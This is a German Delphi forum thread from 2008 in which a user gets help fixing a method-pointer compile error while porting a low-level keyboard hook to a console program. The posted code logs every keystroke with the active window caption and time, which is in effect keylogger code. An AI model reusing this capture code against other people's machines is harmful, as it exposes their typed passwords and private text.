Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Object-Pascal / Delphi-Language (https://www.delphipraxis.net/32-object-pascal-delphi-language/)
-   -   Delphi hooks createn in einer konsolen-anwendung (https://www.delphipraxis.net/124206-hooks-createn-einer-konsolen-anwendung.html)

ToXiC 16. Nov 2008 23:02


hooks createn in einer konsolen-anwendung
 
ich versuche grad ein codebeispiel(ich glaube hier aus der dp) welches hooks verwendet in eine konsolen-anwendung umzuschreiben
dabei stoße ich beim createn des hooks auf folgendes problem:

[Fehler] Project2.dpr(115): E2009 Inkompatible Typen: 'Methodenzeiger und reguläre Prozedur'

in der folgenden zeile:

Delphi-Quellcode:
  KeyboardHook := TLowLevelKeyboardHook.Create(nil);
  KeyboardHook.OnPreExecute := KeyboardHookPreExecute; //<------

himitsu 16. Nov 2008 23:07

Re: hooks createn in einer konsolen-anwendung
 
KeyboardHookPreExecute ist "nur" eine Prozedur, aber sie muß eine Prozedur in 'ner Klasse sein.

Wie und wo ist denn KeyboardHookPreExecute definiert?

:= DeineKlassenVariable.KeyboardHookPreExecute

ToXiC 16. Nov 2008 23:18

Re: hooks createn in einer konsolen-anwendung
 
danke erstmal für deine schnelle antwort.


hier ist der relevante code:



Delphi-Quellcode:
procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
  procedure write(msg: string);
  var pid: dword;
  begin
    if msg <> '' then
    begin
      if (GetForegroundWindow <> accap) then
        begin
        GetWindowThreadProcessID(GetForegroundWindow(),@pid);
        log := log + activecaption + '  -   ' + TimeToStr(Time);
        end;
      log := log + msg;
      accap := GetForegroundWindow;
    end;
  end;

var
  pKeyHookStruct: PKBDLLHOOKSTRUCT;
  KeyHookStruct: KBDLLHOOKSTRUCT;
  ch1, ch2: Char;
begin
  pKeyHookStruct := PKBDLLHOOKSTRUCT(Hookmsg.LParam);
  KeyHookStruct := pKeyHookStruct^;
  if (KeyHookStruct.Flags and LLKHF_UP = 0) then //Keydown
  begin
    if IsPrintableKey(KeyHookStruct.vkCode) and vkCodeToChar(KeyHookStruct.vkCode, ch1, ch2) then
      begin
      if ch1 <> #0 then write(ch1);
      if ch2 <> #0 then write(ch2);
      end
    else
      begin

      write(DisplayVKey(KeyHookStruct.vkCode));
      if DisplayVKey(KeyHookStruct.vkCode) = '[Enter]' then
        log := log +  '
';

      end;
  end;
end;



begin
  KeyboardHook := TLowLevelKeyboardHook.Create(nil);
  KeyboardHook.OnPreExecute := KeyboardHookPreExecute;
  KeyboardHook.Active := true;
  log := '';
end.
die prototypen der procedures sind nicht vorher in irgentwelchen klassen erwähnt worden.
ich weiß nciht ganz genau wie du das mit den klassen meinst.

himitsu 16. Nov 2008 23:43

Re: hooks createn in einer konsolen-anwendung
 
so, mußte jetzt erstmal suchen wie der Rest definiert ist, aber .OnPreExecute ist als THookNotify definiert und da schau dir mal das "of object" an.

Delphi-Quellcode:
THookNotify = procedure(Hook: THook; var Hookmsg: THookMsg) of object;
Also muß die Prozedur eigentlich in einer Klasse liegen. :zwinker:
Delphi-Quellcode:
tDeineKlassenVariable = Class
  procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
end;
PS: Klassen-Prozeduren haben einen versteckten Parameter. (kennst'e vielleicht von TForm ... "Self" )
Man kann also notfalls (ist zwar nicht unbedingt "guter" Code) dieses selber einfügen und es als normale/einzelne Prozedur lassen :angel2:
Delphi-Quellcode:
procedure KeyboardHookPreExecute(Self: TObject; Hook: THook; var Hookmsg: THookMsg);

ToXiC 16. Nov 2008 23:55

Re: hooks createn in einer konsolen-anwendung
 
mensch ich bekomms immer noch nicht hin
von einer fehlermeldung zur nächsten:

[Fehler] Project2.dpr(14): E2065 Ungenügende Forward- oder External-Deklaration: 'tbla.KeyboardHookPreExecute'

Delphi-Quellcode:
type
tbla = Class
  procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
end;

var
  KeyboardHook: TLowLevelKeyboardHook;
  bla: tbla;
so hab ichs jetz versuch mit dem ergebis der oben genannten fehlermeldung...

himitsu 17. Nov 2008 00:31

Re: hooks createn in einer konsolen-anwendung
 
hast du da vielleicht noch was vergessen?
Code:
procedure [b]tbla.[/b]KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
  procedure write(msg: string);
  var pid: dword;
  begin
    if msg <> '' then
    begin
........
PS: vergiß nicht, daß du bei der Variante über die Klasse auch noch die Klasseninstanz erstellen mußt!
Delphi-Quellcode:
// vorher erstellen
bla := tbla.Create;

// übergeben
KeyboardHook.OnPreExecute := bla.KeyboardHookPreExecute;

// und wenn bla.KeyboardHookPreExecute (bzw. diese Funktion
// in KeyboardHook) nicht mehr benötigt wird, dann freigeben
bla.Free;


Alle Zeitangaben in WEZ +1. Es ist jetzt 13:11 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz